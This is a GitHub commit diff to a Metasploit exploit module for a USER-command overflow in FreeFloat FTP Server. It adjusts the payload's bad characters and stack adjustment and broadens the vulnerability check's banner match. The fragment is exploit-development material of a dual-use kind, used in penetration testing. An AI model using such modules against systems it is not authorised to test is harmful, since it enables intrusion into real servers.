Skip to content

Commit d33d685

Browse files
committed
...
1 parent be36b46 commit d33d685

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/windows/ftp/freefloatftp_user.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,8 +35,9 @@ def initialize(info = {})
3535
{
3636
'Space' => 500,
3737
'DisableNops' => true,
38-
'BadChars' => "\x00\x0a\x0d\x20\x5c",
39-
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
38+
'BadChars' => "\x00\x0a\x0d",
39+
#'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
40+
'StackAdjustment' => -3500
4041
},
4142
'Targets' =>
4243
[
@@ -59,11 +60,11 @@ def initialize(info = {})
5960
def check
6061
connect
6162
disconnect
62-
print_status(banner)
63-
if (banner =~ /220 FreeFloat Ftp Server (Version 1.00)/)
63+
if (banner =~ /FreeFloat/)
6464
return Exploit::CheckCode::Vulnerable
65+
else
66+
return Exploit::CheckCode::Safe
6567
end
66-
return Exploit::CheckCode::Safe
6768
end
6869

6970
def exploit

0 commit comments

Comments
 (0)